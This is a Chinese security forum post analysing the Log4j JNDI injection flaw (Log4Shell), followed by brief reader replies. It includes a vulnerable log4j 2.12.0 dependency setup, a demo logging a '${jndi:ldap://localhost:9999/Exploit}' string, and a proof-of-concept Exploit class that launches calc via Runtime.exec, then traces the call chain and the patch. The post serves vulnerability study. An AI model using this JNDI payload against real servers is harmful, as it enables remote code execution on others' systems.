用户
搜索
  • TA的每日心情
    慵懒
    昨天 05:30
  • 签到天数: 240 天

    连续签到: 31 天

    [LV.8]以坛为家I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    125

    主题

    340

    帖子

    1239

    魔法币
    收听
    0
    粉丝
    26
    注册时间
    2017-7-24

    幽默灌水王突出贡献春秋文阁i春秋签约作者i春秋推荐小组积极活跃奖春秋游侠秦

    发表于 2021-12-10 02:15:29 627057
    本帖最后由 HAI_ 于 2021-12-31 08:11 编辑

    0x00 前言

    本来是快乐游戏时间的,但是突然就出来这个洞了= =,当然这个突然用的比较夸张了,修复时间应该是在五天前了。

    本着学习的态度来进行一下简单的分析。

    0x01 环境

    首先是pom.xm文件,这个不需要多说

        <dependencies>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.12.0</version>
            </dependency>
    
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.12.0</version>
            </dependency>
        </dependencies>

    然后是一个测试demo:

    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    import sun.applet.Main;
    
    public class log4j {
        private static Logger LOG=LogManager.getLogger(Main.class);
        public static void main(String[] args) {
            LOG.error("${jndi:ldap://localhost:9999/Exploit}");
        }
    }

    payload就用cacl

    public class  Exploit{
        static {
            try {
                String [] cmd={"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }

    开远程LDAP和http,http可以选择使用python开

    测试结果:

    0x02 调用简析

    整个分析过程有两种思路,第一种思路就是通过补丁进行逆向分析,从触发点进行调试。
    还有一个思路就是通过拿到poc来进行顺序调试,调试的过程中使用poc以及非poc进行对比,就可以很清楚的看到整个调用逻辑,以及触发原因。

    最重要的逻辑从strategy.log开始,这个是整个调用链的最开始位置

    在log中处理数据

    通过processLogEvent判定Event:

    在directEncodeEvent会尝试对Event进行解码操作:

    在解码操作中format就会对输入的内容进行判断:

    在format中会对首尾进行判断,是否满足${开头}结尾的逻辑

    在循环判定结束之后就会通过resolveVariable去调用lookup加载ldap

    最后整理一下:

    • log
    • processLogEvent
    • callAppender
    • tryCallAppender
    • directEncodeEvent
    • getLayout().encode
    • format
    • resolveVariable
    • lookup

    0x03 修复比对

    修复对比之后可以看到,修复是通过禁止协议去进行修复的。当然这里仅仅是针对LDAP来进行修复的。

    发表于 2021-12-10 12:43:42
    表哥牛批!局长给你顶牛牛
    对论坛发展有任何想法
    欢迎+微信/QQ:826177911来搞事!
    使用道具 举报 回复
    发表于 2021-12-10 13:24:00
    局长L 发表于 2021-12-10 04:43
    表哥牛批!局长给你顶牛牛

    使用道具 举报 回复
    太厉害了
    使用道具 举报 回复
    发表于 2021-12-13 17:10:40
    表哥联系下我!
    对论坛发展有任何想法
    欢迎+微信/QQ:826177911来搞事!
    使用道具 举报 回复
    发表于 2021-12-21 10:12:40

    没看到= =
    使用道具 举报 回复
    发表于 2021-12-24 14:36:47
    提示: 作者被禁止或删除 内容自动屏蔽
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册